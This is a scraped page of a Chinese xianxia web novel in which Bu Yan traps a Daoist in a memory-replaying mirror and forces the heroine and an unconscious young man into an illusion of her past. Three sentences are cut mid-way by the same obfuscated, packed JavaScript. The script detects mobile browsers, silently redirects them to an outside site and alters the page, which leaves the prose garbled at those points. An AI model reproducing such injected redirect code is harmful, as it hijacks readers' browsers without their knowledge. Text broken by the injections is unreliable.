“不过,”她出手迅猛如雷,不留一点余地,铺天盖地的灵气沉沉压过来,剑招凛冽,“我可不会因此留情。” ** 殷稚鱼继续在屋子里坐着。 有了步胭的提醒,她也不敢随便乱走,只能老老实实地待在原地,透过窗户的缝隙看着外面的景色出神。 隐隐熟悉的脚步声渐行渐近,殷稚鱼回头,看到步胭走进来,她手里还提着一个人,看清楚对方的脸时,她顿时吓了一跳,“小师叔。” 步胭是拎着辰瑄的外袍,暴力地将人提过来的,完全不管晕过去的辰瑄,对待不请自来的客人,她完全没有多余的善心,就连少年的颈项间被勒出一道浅浅的痕迹也不管,随意地将他丢开。 殷稚鱼赶紧迎上去,扶着辰瑄的手臂,少年比她高了不少,因此殷稚鱼抱着有些吃力,她调整了一下姿势,辰瑄栽进她的怀里,一动不动。 殷稚鱼试了下他的呼吸,发现辰瑄只是晕过去之后微微松了一口气。 还好,还好男主只是昏迷,要是他出事的话她的任务就直接失败了。 “步胭前辈,”殷稚鱼一致抱着辰瑄有些不太方便,她的半张脸几乎都要被辰瑄遮蔽,女孩撩起他的墨发,略做整理,甚至还细心地移动了下他的脑袋,“小师叔这是怎么了?” 步胭懒懒掀了下眼皮,“这家伙自己找上门来的。” 见殷稚鱼一副忧心忡忡的模样,她淡声补充了一句,“放心,没有大碍,只是暂时晕过去了而已。” 毕竟辰瑄虽然不是她的对手,但是纠缠起来也很烦,步胭干脆将人打晕。 “那就还。”殷稚鱼尝试着将人抱起来,好在她入道之后,以剑气淬炼己身,力气也跟着提升了不少,抱着辰瑄完全不成问题,毕竟少年并不重,他的体型是偏向于少年的瘦削单薄,看着很修长,实则重量有限。 如海的衣袍淹过她的手臂,殷稚鱼将袍角压下,公主抱抱起昏睡不醒的辰瑄。 看见这一幕的步胭眉梢一跳。 虽然两人皮囊都不差,辰瑄更是一等一的美貌,但是纤细娇小的女孩子一把抱起挺拔的少年,这个画面,有种奇异的怪诞感。 她没忍住,唇角翘起一瞬。 殷稚鱼用灵气勾了一张新的凳子过来,将辰瑄放在上面,没有依靠,她怕昏迷的少年摔在地上,辰瑄毕竟是为了救她才会追到步胭这里,殷稚鱼出走许久的良心限时回归,将辰瑄的上半身放在自己膝盖上。 她已经不是几个月那个逃跑都费力的卫国公主,即便辰瑄枕着她的膝盖几个时辰也不会为此难受。 流水般微凉的发丝漫过胭脂罗裙,她有些好奇,认真地盯着辰瑄的脸看了一会,指尖轻巧压住他的睫毛。 细微的痒意簇过她的指尖,少年的长睫柔软地轻颤,像是传说中的鬼美人凤蝶。 殷稚鱼偶然间看到了关于那种蝴蝶的资料,它有个更正式的学名,被叫做卡申夫鬼美人凤蝶,是世间上最稀少的蝴蝶,因为无人见过而难以确定其存在。 可它的美丽却毋庸置疑,神秘,罕见,且诡谲的绝美绮丽。 殷稚鱼回过神来,连忙将手指抽回来,辰瑄现在名义上还是她的小师叔,她这么做,总有一种趁着他没意识的时候欺负老实人的感觉。 时间一分一秒地过去,这次屋子里没人说话,步胭手臂撑着脸颊,望着屋内的某处角落发呆,殷稚鱼踟蹰了一下,敏锐地察觉到现在的步胭状态似乎有些不对,她不想落得和辰瑄一样的下场,只能规规矩矩地保持沉默。 不知道过了多久,步胭施施然地站起来,望着门的方向,眉轻微一动,“来了。” 她推开门,从容地踏出去。 清玄道人来的比她所预料的时间要早,说明他对殷稚鱼是真的重视。 黄昏的最后一缕光也被敛起,夜色朦胧降临,笼罩住这套宅院。 步胭注视着院子里表情难看的清玄道人,轻轻一笑,“真焦急啊,看来是马不停蹄地从乾虚派赶过来的。” “步胭,”清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309270|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄道人肃然,步胭难得看到他这样认真冰冷的态度,就连之前,他们交手的时候清玄道人都没有表现出如此的神色来,“你越界了,将我的弟子还给我。” 步胭略过这个问题,答非所问地叹息道,“你还真是信任我啊,是觉得我不会做什么吗?” 清玄道人蹙眉盯着她,“我觉得你不会。” 相识百余年,虽然和步胭的来往并不多,但他也大概摸清楚了她的性子。 步胭的性格极端,爱之欲其生恨之欲其死,只要认准了一件事就绝对不会放弃,然而她光明磊落,不屑于搞阴谋,虽然这些年搞了不少事让清玄道人头疼,但他也没有步胭会耍阴招的想法。 “那你可能想错了我。”步胭古怪一笑,勾了勾手指。 清玄道人猛然察觉到了异样,喝道,“你要干什么?” 然而已经晚了,偌大的院子里,亮起一根根纤细的阵线,勾勒出繁复晦涩的纹路,是围困的阵法,因为等级足够高,所以连清玄道人这个修为的修道者也能困住。 步胭手一翻,掌心出现一面古朴的铜镜,那面镜子刚出现时不过普通镜子大小,然而却随着旋转越变越大,它的镜面灰蒙蒙的,并不起眼。 清玄道人瞳孔微缩,“溯天镜。” “原来上次你强闯玄天阁,竟然是为了抢夺溯天镜。” “没错,”步胭偏了偏头,明艳地笑,“既然你们都不愿意告诉我真相,那我只有亲自去看了。” 她向镜子输入灵气。 阵法并不能困住清玄道人太长的时间,毕竟她准备的时间太短了,然而这点时间,对于步胭来说已经足够了。 溯天镜变得越来越大,它豁然凌空,在步胭的操控下将清玄道人一口吞下,清玄道人连挣扎都没有挣扎一下,就消失在镜子里。 镜子勾连着阵法,阵法流泛着灵光,而黯淡的镜面逐渐亮起,步胭轻挑眉,算了下,“还差两个人。” 临时去找人有点来不及了,她不想自己进去,更不想无关的人知晓自己的过往。 那样愚蠢又莽撞的过往,经历一次就足够了。 她沉吟了一会,转过身,重新推开屋子的门。 一直注意着院子里的动静,却因为步胭和清玄道人之间的交手不是她这个等级的修道者能够插手的殷稚鱼按捺下自己蠢蠢欲动的心思,老老实实地待在原来的位置,见步胭推开门,她干笑了声,“步胭前辈,我们现在能够离开了吗?” “恐怖还不行,”步胭慢条斯理地说,“我这里还缺两个人。” 殷稚鱼眉心一跳,油然而生不好的预感,“所以?” 步胭:“你是自己进去,还是被我扔进去?” “!” 殷稚鱼沉默了。 又来,简直像是倒带了一样离谱。 但可恨的是,她并没有拒绝的实力,因此面对步胭的武力威胁,只能十分憋屈地选择了答应。 至于辰瑄。 没有意识的人没有选择权,步胭都懒得过问他的意见,示意殷稚鱼跟上,转身往外走。 殷稚鱼幽幽地盯着步胭的背影,得出如果自己现在带着辰瑄一起逃跑的话,可能刚跑两步就被逮住了,如果不听话的话步胭可能会把自己一起打晕然后丢进去的结论后,认命地再次抱起辰瑄,跌跌撞撞地跟出去了。 她不知道步胭要自己干什么,心里满是忐忑不安。 宽敞的院子里已经没有清玄道人的身影了,殷稚鱼没看到两人动手的过程,所以也不清楚自己师尊去哪里了,她只看到一面悬在半空中,微微旋转的铜镜。 无数根阵线连接着它,为它输入灵气,空气里荡过一阵又一阵隐隐约约的蓝光,如同水波一般不规则地晃荡着,甚至能够看出模糊的痕迹。 步胭指了下铜镜,“进去。” 殷稚鱼扶了下辰瑄,少年一直没醒,脑袋偏了下,埋进她的臂弯里,她默默抱紧了人,毫无拒绝权力,只能乖乖地进入铜镜。 铜镜的画面越来越清晰,直至出现步胭所熟悉的人影。 她目光凝在铜镜镜面上,极为专注。 那是,她的过往。 也是步胭和陆云珩的过往。 21. 初识 溯天镜是玄天阁至宝,它能显现出人内心隐藏最深的隐秘,呈现出使用者最想要知晓的记忆片段,但是它的使用也有前提,即,接触溯天镜的人必须要清楚那段记忆。 步胭被镇压百年,她苏醒之时,陆云珩早已陨落,最有可能了解她和陆云珩往事真相的人只剩下清玄道人。 他曾经是两人关系的见证者,亦是参与者。 镜面彻底清晰,投映出她想要看见的画面。 大漠,黄沙。 赤火城,是一座建立在沙漠之上的城池。 因为当地气候干燥少雨,极为恶劣,而且妖兽众多,所以当地居民稀少。 当地妖兽多,极为危险,但妖兽的尸骨和内丹都是绝佳的材料,炼器炼丹都可以卖出高价,因此也有不少胆大的修道者自恃实力高强,不辞千里来到赤火城,想要寻找适合的材料。 这里外来者众多,天天都有生面孔来来往往,因此当地百姓也已经习惯了接待外来游客。 茶水棚的老板接待过无数客人,轻车熟路地奉上茶水,然后默不作声地退下去,识趣地没有去打扰客人,只是在离开之际,忍不住多看了一眼。 新来的两位客人都很年轻,容貌只能算是普通,但是一身气质却很出挑,萧萧然独立世人之中,像是大宗或者世家弟子。 然而心里生出许多好奇,他却没有过多打探,修道者手段无数,要是这俩人性格古怪一点,认定了他窥探他们的对话从而发火的话,他修为低下,根本抵挡不住他们的出手。 他的视线与清玄对上, 青年友好地朝他笑了笑,“老板,你在这里干了很多年吗?” 茶水棚老板咽了咽口水,见清玄态度友善,放松了些许,如实说,“可以这样说。” 他拍了拍胸膛,信誓旦旦地说,“我这摊子是从我太爷爷那里接过的,我们从我太爷爷那一辈就开始干这个。” 毕竟赤火城来往的除了想要寻宝的修道者,还有路过的商行,并非所有人都已辟谷,能够数日滴水不进,大部分都只是体质比普通人好上一点的低阶修士,赶路久了,自然要寻个地方好好休息一下。 茶水棚老板的生意就是这样做的,他们招待过路人,为其提供珍贵的水源和食物,有时候还会指路,换取灵石。 “这么厉害吗?”清玄笑笑,茶水棚老板注意到,一直都是他在说话,至于他的同伴,那个神色疏冷的少年人,则是从始至终都保持着沉默。 清玄缓声说,他现在修为还不够,还不够被人称上一句道人,“我们兄弟俩是听说赤火城这边妖兽泛滥,想要过来寻找几只妖兽的,不知道老板可不可以推荐一下,哪里妖兽更多?” 老板挠了挠头,清玄会意地递过去几枚剔透的灵石,男人看似不好意思,实则迅雷不及掩耳之速地接过,“如果是妖兽多的话,我推荐北边,那里有一群烈焰沙鹫,更远的地方,还有一群黑斑蛇。” 烈焰沙鹫和黑斑蛇都属于高阶妖兽,它们的爪子,皮毛都可以在市场上卖出高价,只是黑斑蛇属于群居动物,且含有剧毒,而烈焰沙鹫踪迹难寻,作风又凶悍,因此即便知道它们值钱,也少有人敢打它们的主意。 老板也是看两人实力不错,才提出这样的建议,不然就是送死。 清玄谢过对方,笑着说,“我们就是想尝试一下。” 茶水棚老板又主动补充了一句,“如果两位第一次来赤火城的话,我可以给两位仙师推荐一位向导,她熟悉赤火城,有她带路,必然更加方便。” 清玄挑了挑眉,“那就多谢,还请老板帮忙引荐一二。” “她现在不在,只要回来,我就立刻告知两位。” 说话间又有新客人来了,茶水棚老板抱歉之后,转身继续去接待其他客人。 清玄坐下来,用了一张隔音符,防止别人偷听,他揉了揉笑得有些僵硬的脸,吐槽道,“这个任务又不是我一个人接的,云珩,你刚才怎么不说话?” 陆云珩抬了下眸,即便刻意伪装了容貌,他依旧是人群中一眼就能发现的存在,如同冻雪垂云,清冷地漫开,少年沉默一会,诚实说,“我不会和百姓打交道。” 他底气有些不足,“要不然,之后和魔修对打的时候我多出一点力。” 清玄哼笑一声,懒洋洋地说,“就知道指望不上你。” 两人结伴而来,是因为正道秘密得到通知,赤火城中有邪修聚众研究用血献祭的邪术,乾虚派和上清宗作为正道之首,斟酌之后,谨慎地派出两位优秀弟子准备去一探究竟,只是怕打草惊蛇,他们这次的行动只有清玄和陆云珩两个人。 虽然只有两个人,但他们都是两宗的出色,根据送来的情报分析,对付邪修弟子应该不难。 邪修弟子的窝点现在还没有打探出来,清玄和陆云珩伪装出普通弟子,也是为了混入人群之中,不引起过多的注意。 嘚嘚—— 忽然间,有清亮的马蹄声由远及近,清玄抬起茶杯,掩住自己的视线,不动声色地往声源处看去。 声音停在茶水棚面前,角马之上坐着的姑娘翻身下马,步伐轻盈,明显也是个修道者,且显然实力比茶水棚老板高的多,甚至和他们差不多。 赤火城这样偏僻的地方,怎么会出现这样的修道者。 清玄心中更是警惕,暗暗注意那边的情况。 站在红棕色角马身旁的少女系着红纱,似乎是赤火城本地的穿着,亮闪闪的猫眼,翠色逼人的翡翠,鲜艳的红宝石点缀在她发间,额心垂下纤细金链,明艳不可方物,像是视野里忽然闯进一团燃烧的烈焰,赤火漫过荒野,难以形容的艳与瑰丽。 茶水棚老板放松地上前与她交流,显然与这姑娘很是熟稔的模样,应该是相识。 说话间,茶水棚老板指了指清玄与陆云珩的方向,女孩子也顺势看过来,手腕间金铃微晃,发出一声脆响,很快又被压下去。 她和茶水棚老板一起走过来,笑嘻嘻地问,“你们就是周叔说的,想要找人做向导的道友啊。” 她微微挑起眸尾,“但是雇我做向导,可不便宜哎。” 她自我介绍,“我叫步胭,虽然不是赤火城本地人,但是整个赤火城,除了我,没有人敢深入沙漠,也没人比我更清楚” 殷稚鱼脑海里的系统已经麻了。 它虽然不是时时刻刻都关注着自家宿主的任务进度,毕竟摸鱼是人之常情,但是也是时不时就会往这边看一眼,没想到一个没注意,两人就被扔进幻境里了。 是的,幻境。 溯天镜是神器,然而在九州五岛并不出名,就是因为这个原因,它限制颇多,而且投射出来的记忆片段并不确定时间,步胭想要看的,是当年的真相,然而溯天镜却回溯到了她和陆云珩初次相识的记忆,并不受控。 而且,还是殷稚鱼般的步胭,以及辰瑄版的陆云珩。 好家伙,除了清玄道人只是年轻了很多岁,还是原装正版以外,剩下两个人,全都货不对板,简直可以说上一句消费欺诈。 系统望着顶着一张殷稚鱼脸,却自称步胭的少女,以及温和情绪收敛得一干二净,只剩下陆云珩特有的冰冷之感的辰瑄,犹豫着要不要叫醒殷稚鱼。 毕竟幻境让他们全身心地代入了所扮演的角色之中,也可以说,两人都没有自己的记忆,只有步胭与陆云珩本人的。 但是这不代表殷稚鱼会失忆,辰瑄更不会。 一个不好,殷稚鱼从幻境清醒就会社死,万一在幻境里对辰瑄做了什么不该做的事情,可能会羞愤欲死。 ……对了。 系统忽然醒悟。 它本来就是要鞭策殷稚鱼攻略辰瑄的,要是她在幻境里做了什么,刚好推动一下两人的感情发展,不然如果有了记忆的话,那么殷稚鱼又会想方设法地偷懒。 想通了以后,系统心安理得地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314776|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保持着缄默,等着看事情接下来的发展。 反正,反正如果殷稚鱼做了什么不该做的事情,它会在她动手前,及时出声叫醒她的。 毕竟,它可是个友爱宿主的好系统。 幻境还在继续。 殷稚鱼眸光明亮,笑吟吟地问,“所以,你们打算付出多少呢?” 清玄反应很快,“步胭姑娘底价是多少?” 殷稚鱼思索了一会,坦荡地伸出一根手指。 “一天,一百中品灵石。” 旁边跟着一起过来的老板听到这个价格的时候下意识倒吸了一口凉气。 黑,真是太黑了。 要知道,他们茶水棚最好的茶水都不值一枚中品灵石,水源在沙漠里虽然珍贵,但芥子袋大大方便了修道者,他们可以在其他地方储水,还有水灵根修道者的存在。 清玄也被步胭这黑心肝的出价震惊了一秒。 他虽然领着乾虚派的供奉,但也不是不食人间烟火,对于物价认知清晰,殷稚鱼这个做法,完全就是坐地起价坑人啊。 他刚想说话,就听到旁边一言不发的少年开口,“成交。” 浅琥珀色的眸子静静地望着殷稚鱼,仿佛覆着一层薄冰,冷意明显,“希望步胭姑娘的身价,对得起这么多的灵石。” 殷稚鱼的视线顺理成章地落在他的脸上,自信满满,“当然了。” 她上前,顺手拍了拍少年的脸,“喂,小冰块,对我自信一点,我保证,绝对物超所值。” 她微微弯起的眼睛,像是新月般盈盈。 猝不及防被人摸到脸的辰瑄却呆住了,像是石化了一般愣在原地,清玄也呆了下,殷稚鱼出手实在是太快了,他们都没想到殷稚鱼会忽然动手,所以谁也没来得及阻止。 陆云珩是乾虚派道子,主修太上忘情道,注定不近女色,不沾情爱,相识了那么多年,清玄都没看他接近过几个女性修道者。 上清宗那些主修无情道和他如出一辙冷冰冰的女性修道者不算,她们和陆云珩接触根本不需要考虑性别,完全就是冰山聚会,清玄有幸见过一次,深深为现场凝滞的氛围而惊讶,一个个隔着老远也不说话,也亏得她们还呆得下去,反正他是一秒钟就想逃。 不过,步胭称呼的这个小冰块外号,听上去还怪贴切的。 清玄忍笑,怕陆云珩变脸,万一惊动了潜藏在赤火城中的邪修就糟糕了,他打圆场说,“那步胭姑娘,我们就一言为定了。” “嗯。”殷稚鱼颔首,好奇地问,“你们打算什么时候去沙漠里寻觅妖兽,如果急着要的话,我可以现在就出发。” 毕竟日薪这么高,即便懒散如殷稚鱼也拒绝不了,为了她的一百中品灵石,她决定热爱这份工作一会。 老板早就在看他们谈妥的时候就悄无声息地退了下去,见旁边的辰瑄一直没说话,清玄自觉接过了交流的担子,“我们刚来赤火城,对于赤火城向往许久,如果有时间的话,步胭姑娘能否带我们逛一逛赤火城?” 怕殷稚鱼拒绝,他连忙补了一句,“灵石照样给。” 殷稚鱼眼睛一亮,笑眯眯地应下,“成交。” 她招了招手,那匹角马就颠颠地跑过来,清玄识货,认出这匹角马灵智不低,很可能混有高阶灵兽的血统,这样的坐骑一直都不便宜,绝对不是一个赤火城的普通百姓能够买得起的。 也就是说,步胭的出身不简单。 他心里生出诸多猜测,面上却没有表现出来。 殷稚鱼翻身上马,稳稳地坐在马上,她偏了下头,少女的长发梳成发辫,粗而长地垂到小腿,仿若抹了桐油一般又黑又亮,而她的鼻尖在灼热的日光下也仿佛泛着淡淡的金色,“那你们可要跟紧我。” 她拍了拍角马的脖子,在前面带路。 茶水棚位于赤火城城门不远处,距离城中心还有一段距离,殷稚鱼懒得走路,干脆用角马代步了。 22. 伪装 烈日炙烤大地,遍地黄沙。 清玄和辰瑄怀着秘密任务来的,他们只能确认那伙邪修藏在赤火城里,却不能确定具体位置,但两人来之前交流过,邪术之事牵涉重大,若是传扬出去,整个九州五岛都将无他们的立锥之地,因此邪修定然会对来赤火城的新面孔十分警惕,所以他们可以顺水推舟,在赤火城里找到线索。 清玄不确定殷稚鱼的立场,因此一边走一边问,女孩骑在角马上,但是速度并不快,显然刻意迁就着他们,“步姑娘怎么会在赤火城?” 他腼腆笑笑,精准拿捏初出茅庐的愣头青人设,“抱歉,我只是有些好奇步姑娘修为高深,为何会甘心待在赤火城里?” 少女的视线漫不经心地投过来,透出一点懒倦,“因为和家里人吵架了。” 她似乎想起什么不愉快的事情,托着腮,补充道,“我家里人比较封建,我才刚成年没多久就想着给我订婚,我实在待不下去,就跑出来了。” 清玄陷入了沉默,一言难尽。 这话糊弄鬼呢。 步胭天赋不差衣饰华艳,光看那些亮晶晶的宝石就价值不菲,一看就知道是大宗门或者世族养出来的子嗣,这样的年轻后辈,谁会急着催婚,又不是没有灵根的普通人。 普通人按部就班地成婚生子,是因为孕育后代,可惜修道者不需要,他们寿岁漫长,痴迷修行,无心外道,言简意赅的话说,就是单身狗概率极好,可能会出现万岁大能仍是独身一人,恋爱经验为零的不可思议情况。 “不信吗?”殷稚鱼笑嘻嘻,一眼就看出了他眼里的不信任,却没有在意,“我说的可是实话。” 辰瑄抬眸,不动声色地看了她一眼。 虽然殷稚鱼说得夸张,不能确认里面真话含量多少,但他却听出了,她和家里人关系可能不太行。 少年垂下眸,漠然忽视了这件事。 毕竟与自己无关。 赤火城很大,集市相当热闹,有修道者捕猎到了妖兽或者寻觅到了珍贵的灵草,就在当地出售,随便扯了张布放在地面上,上面摆放着血淋淋的妖兽肢体或者爪子牙齿,乍一看的话,有些吓人。 殷稚鱼面不改色,习惯了这样的场面。 清玄却是第一次见到这样粗犷的画风,当然在以往他见过比着更加血腥残暴的画面,但还是被赤火城当地豪放的作风给狠狠震惊了一把。 角马停在一处摊子面前,殷稚鱼弯下腰,与摊主说话,熟练地交谈之后,买下一堆表皮疙疙瘩瘩的果子,她随意地往后一扔,果子准确地掉进了清玄和辰瑄的手上。 “步姑娘?”清玄握着那颗并不好看的果子,疑惑地叫了声殷稚鱼的名字。 殷稚鱼:“这果子是赤火城的特产,虽然长得太好看,但是很甜,水分也很多,你们可以尝尝。” 她弯下眼,“就当是送给美人的礼物了。” 清玄下意识摸了摸自己的脸,他原本的脸当然是好看的,清俊风流,隽丽俊美,可是现在,顶着一张普普通通的皮囊,他真的很怀疑殷稚鱼的眼光。 就连刚才卖出果子的摊主也忍不住多看了殷稚鱼一脸。 少女看向辰瑄,“美人是说你。” 她捧着脸,“毕竟,我是用心,不是用眼睛看的。” 辰瑄:“……” 好土。 他神色有一瞬间的波澜。 就连清玄也在一旁看热闹不嫌事大,幸灾乐祸地看好友的笑话。 不知道殷稚鱼是天生爱说笑还是看上了辰瑄,反正这家伙修太上忘情,不沾情爱,因此清玄看热闹看得很是放心。 “走了。”殷稚鱼拍了拍角马的脖子,示意它继续行动。 逛过小半个赤火城后,清玄察觉到四周若有若无的注视,他伪装出的修为比真实的修为要低,因此对方可能以为他没有发现自己,而且在赤火城里逛的越久,注视着他的目光越多。 他面上不动声色,借着四处看看的机会给辰瑄传音。 “被注意了。” “很明显,”辰瑄睫羽折下,淡声,“我们第一天到赤火城,就四处乱走,如果我是邪修,也会盯上这样的人。” 清玄比了个手势,扬声喊住了殷稚鱼,“步姑娘,今天就到此为止吧。” “?”角马上的姑娘闻声转头,“你们不逛了吗?” 清玄拎起手上的芥子袋,叹气道,“芥子袋已经基本装满了,再逛下去也是有心无力,而且逛了这么久也倦了,我们打算回客栈休息。” 殷稚鱼是向导,当然是以客户的意愿为主,她积极且主动地将一百中品灵石完好无损地送到客栈门口,不忘提醒,“我明天早上会来客栈门口等你们。” 清玄应声,目送殷稚鱼骑着角马转身离开。 不确定在外面的谈话是否会被听见,两人回到订好的客房中,即便如此,聊天依然点到为止。 “应该是被注意到了,”清玄若有所思,“明天的行动,还是要小心一点啊。” 他们两个人毕竟是生面孔,就算再怎么降低存在感依旧很引人瞩目,而且还满赤火城乱跑,估计要被邪修列入警惕目标里。 “按计划行动就行。”辰瑄淡淡道。 而另一边,殷稚鱼骑着角马来到一处宅院面前,她轻车熟路地翻身下马,推了一下角马的脖子,“好了,吃饭去吧。” 角马亲昵地用嘴蹭了蹭主人的手心,这才往自己惯常吃饭的地方走去。 “阿胭,你回来了。”院子里走出一个形容沧桑朴素的中年妇人,她看着步胭,神色惊喜。 “嗯。” 殷稚鱼弯眸,握着周婶的手,一边叙说自己这几天都经历一边往屋里走。 步胭是在几年前离开步家之后遇到周叔一家的,那时候周婶中了毒,需要的灵草品阶高,价值不菲,即便周叔拿出自己毕生的积蓄也不够,正当一家人绝望之际,遇到了来到赤火城散心的步胭。 步胭是没有目的地,随处乱走,她当时心情很坏,少女性格极致,爱恨都热烈,从来没有委曲求全的选项,因此在和步家家主闹翻之后,没有回过步家。 她芥子袋里刚好有那株灵草,借住时见周叔一家愁眉苦脸,打听清楚后将灵草送给了两人。 周婶病好之后,对于步胭感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331833|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激不尽,他们两人没有孩子,相处一段时间后,真心将步胭当成了自己的孩子对待,步胭往来赤火城的次数越来越多,每次来,都会来看望周叔一家。 论修为,她在赤火城中确实是最强的,毕竟当地太荒凉,实力稍微高点的修道者,基本都不愿意在此地常住。 赤火城的天黑向来比别处要晚,而在天色由明转暗之前,周叔就已经收摊回来了。 殷稚鱼就坐在院子里,一边喝茶水一边吃果子。 “阿胭,”周叔向她打听,“今天雇你去当向导的人,好不好相处啊?” “还行吧。”殷稚鱼咽下嘴里的果肉,散漫地回答,她在外面到处跑,见过的,经历过的比清玄和辰瑄都多,一眼就看出了两人的不对劲。 来赤火城的人通常都是为了寻找妖兽换取灵石,目光大多贪婪,而清玄和辰瑄不同,他们即便刻意伪装了,依旧能够看出神色清正,出身正道。 “一个话多,”殷稚鱼点评,“但有一个,逗起来挺好玩的。” 她不缺灵石,所以接下这个向导任务只是为了好玩。 也不知道明天两人去狩猎妖兽的时候,会不会露馅。 殷稚鱼相当期待。 翌日,一大清早,殷稚鱼就牵着角马,早早地在客栈门口等待。 清玄和辰瑄下来的时候,就看到女孩站在门口用材料喂角马的画面。 “步姑娘,”清玄招呼她,有些意外,“你来得这么早啊。” 两人昨天没有交换传音玉符,约定的时间也笼统,清玄本以为按照殷稚鱼昨天表现出来的懒散,会踩着点,姗姗来迟呢。 没想到对方来得出乎意料的早,殷稚鱼收回手,摸了摸角马的头,“是啊。” 她问,“你们是要尝尝赤火城的早膳,还是直接出发,去寻找妖兽?” 清玄与辰瑄不动声色地交换了一个眼神,清玄婉拒,“我们已经用过早膳了,不如直接出发吧。” 殷稚鱼点了下头,充分尊重冤大头……不是,尊贵客户的意愿,“那我们出发吧。” 他们要去找的是黑斑蛇,毕竟烈焰沙鹫的踪迹难寻,巢穴更是难以确认,而黑斑蛇,有确定的窝点,刚好适合潜伏过去,准点打击。 角马在沙漠里行动依旧自如,而清玄和辰瑄则是御剑,他们现在是凝丹后期的实力,表现出来的则是凝丹初期,御剑并没有问题,脚程飞快,在正午之前就赶到了蛇窝。 “就在那里。”殷稚鱼呶嘴示意,顺便将角马收入灵兽镯中。 毕竟黑斑蛇有剧毒,她可以保证自己不出事,但是角马是灵兽,虽然反应快,但万一被咬上一口,可能撑不了多久就凉了。 她一摊手,理直气壮地说,“我收的只是向导的灵石,可不负责帮你们对付那一窝黑斑蛇哦。” “不需要步姑娘出手,”清玄笑笑,“这是我们的历练,当然不麻烦步姑娘了。” 黑斑蛇的蛇窝光用肉眼看,只是一个黑黝黝的洞穴,完全看不出里面藏了什么,但是隔着一段距离,黑斑蛇就嗅到了生人的气息,警惕地从洞穴里探出头来,吐着鲜红的信子,嘶嘶作响。 23. 梦魇 做戏就要做全套,既然顶着想要出来猎杀妖兽的名头,那么清玄和辰瑄自然不会在此刻露出破绽,两人一起抽出长剑,殷稚鱼遥遥地站在不远处,托着腮看。 他们掩饰了自己的剑招风格,即便是殷稚鱼也看不出他们来自哪宗哪派,而越是掩饰就越是代表他们来赤火城的目的不对劲,殷稚鱼眉眼轻微一动,并不打算掺和。 被剑气刺激到,黑斑蛇从蛇窝里钻出来,成年的黑斑蛇体型足有十几米,支起蛇头吐出幽绿毒液的时候略显惊悚,殷稚鱼默默又站远了一点,她估算过这些黑斑蛇的实力,大概相当于辟府后期,依照清玄和辰瑄现在表现出来的战斗力,并不难以对付。 可惜黑斑蛇是群居动物,虽然灵智开得不久意识懵懂,没有修道者聪慧,但是妖兽狡诈凶残的天性使得它们在感觉到危险时会自觉抱团,十几条蛇纠缠在一起,不断蠕动,看得殷稚鱼头皮发麻。 辰瑄稳稳地使出一剑,剑光如雪落下,冰凉而又森冷,硕大的蛇头滚落在地,溅出淡绿的血液,被他嫌弃避开。 黑斑蛇全身都是毒,毒液和血液都具有强烈的腐蚀性,因此沾上了会很麻烦。 不过殷稚鱼看清玄和辰瑄的样子,应该是可以对付。 她放心看起戏来。 清玄如果亮出真正的实力来,当然可以轻松解决这些黑斑蛇,可惜他刻意压低了实力,以凝丹初期的实力对付这么多黑斑蛇略有些吃力,因此解决这些黑斑蛇之后,已经过去了三个多时辰。 白昼过了一半,清玄的衣衫上不可避免地沾上了些许腐臭的血液,他苦笑一声,还是认命地用芥子袋将蛇尸装起来。 辰瑄连续掐了好几个清洁咒,才觉得自己鼻端的血腥味稍散了些,不再那么让人难以容忍。 “你们好强啊,”笑嘻嘻的嗓音在辰瑄不远处响起,少女小心地避开大漠上被黑斑蛇的血液腐蚀出来的痕迹,走到辰瑄面前,背着手说,她晃了晃脑袋,耳垂上的玛瑙耳珠一闪一闪,翘起唇,意味不明地说,“杀了这么多黑斑蛇,竟然还没有脱力吗?” 辰瑄敛起眸子,没有说话。 清玄打起了哈哈,打了个补丁,“毕竟我们的实力还是要比这些黑斑蛇高一些,不过这些妖兽也真实不好对付,步姑娘,可以走了吗?” 殷稚鱼眨了眨眼,倒也没有继续追问,“你们是要回去,还是去寻烈焰沙鹫?” 她扬起脸,眼带询问。 清玄沉吟了一会,给出了答案,“现在我们兄弟两人体内灵气消耗得所剩无几,还请步姑娘带我们回城修整。” 大漠到处都是一片茫茫的黄沙,没有向导领路的话,根本辨别不了方向。 殷稚鱼点了下头,以顾客的意愿为先。 她又放出了角马,熟稔地坐在了角马的背上,“记得跟紧我。” 清玄唤出本命剑,上面的血迹已经用清洁咒清洗干净了,他偏头去看辰瑄的时候,发现少年正举起水囊,珍贵的清水倾泻而下,极其奢靡地落在看起来干干净净的长剑上,唇角微抽,“这剑不是已经干净了吗,怎么还要用水洗?” 辰瑄抿唇,冲过一遍才踩上剑身,“有点脏。” 